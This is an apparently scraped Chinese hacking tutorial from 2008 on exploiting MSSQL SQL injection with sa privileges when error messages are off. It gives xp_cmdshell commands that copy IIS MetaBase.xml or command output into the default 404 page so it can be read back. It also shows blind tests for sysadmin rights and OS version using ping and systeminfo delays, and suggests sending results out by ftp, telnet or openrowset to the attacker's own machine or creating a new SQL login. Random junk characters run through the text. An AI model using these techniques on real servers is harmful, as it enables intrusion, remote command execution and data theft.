遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
8 R2 H9 s& B2 S0 x& H, c* _9 ~3 k, B5 T Z
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
' ~; q( R, D; O5 z: ^' B% h5 c# b3 R; `( G! R: j; X
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
! X4 Z. k9 W* g6 J4 b1 A% }+ ~2 Y
6 L! o8 Q3 T S1 o IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
" J& k) d6 B0 k, B- i8 R) d! I! R
/ u7 F4 [9 }, I j( X 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
^( \" q( o- g& G) Z& @! _8 U5 ^$ D+ `. X1 [
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
) Q; e* E( B8 v g
! H* h7 |% C" s 执行命令得到回显
( D1 H) D8 a' s+ Y% u
$ I! M& w1 t P& w5 F 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--: |8 y. F* D/ X0 E
# O$ t: F5 i: r n' R T 得到文件也shi相同,把文件copy到404b.htm就行了) k9 n+ J3 }: P$ O) w! x) w
( P1 \- y0 a \: U7 j; Z7 R( b* J
by 28ice, 2008/6/26
8 _3 ?: @6 A( X% e
9 B3 E6 D9 M) u8 W. p3 i 摘自 28度的冰2 K( f. t; H: D
- j: x2 I5 Q- m* y% U: i+ U 盲注判断权限和操作系统版本. k$ y* r5 c# d+ x
1 V* M5 L1 X) e, N/ G9 z/ \/ P
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
( ^! P6 h: U6 A2 Y1 O& ^. d5 \8 l4 z( K. r7 I0 G: R" {3 }
最简单的,可能以用这样的方法:
" l5 Q5 v) W7 Q- A& h. K
5 p* L0 A4 l& Z3 `4 Z 1=(select IS_SRVROLEMEMBER(’sysadmin’))+ P% z- U4 Q0 M6 v- c" B w
" E' c W; M' q
当然,有些情况下,这个方法并不奏效。
8 d( A7 E- Q/ M8 o: K$ u$ i9 E: |3 l1 o: V+ p2 C% ]$ ?
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
; H# G4 p0 q g' E* d2 O2 _6 O! \5 Y; O+ {: S; x. g
有个3办法可能以解决这个问题
2 Y) m; c# _4 T
! ]0 ^3 \" J) ]% {8 G2 ^1 t a.把执行结果写到404b.htm,具体请看我的上一篇文章+ b9 I8 ^+ @$ ^9 h* M& W
5 O0 p" e- J% _0 Z: b. I# h: t" N b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟 i: _* | O6 Q- k3 c- S- E3 p
8 m- T4 z& Z7 w3 i* a c.如果1433端口可能以连接,那干脆新建个sql登录8 [" ~$ l M+ K# | ^
& I6 A* w. K' I) M, E' B5 m d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
5 h2 e' ~% W$ m' I# U
. A# z% [& b4 e8 n$ M+ y 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下& r8 X3 B5 n5 u
1 g( m: \' E/ C2 U. ]$ c; T 很简单7 O: d% H/ z/ b: j" Z
4 U9 ?* {' Y: J( }' }
执行systeminfo) U: T9 D3 [7 @: t2 v- [/ ?
0 @ K! c( I1 K- q+ c; I 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |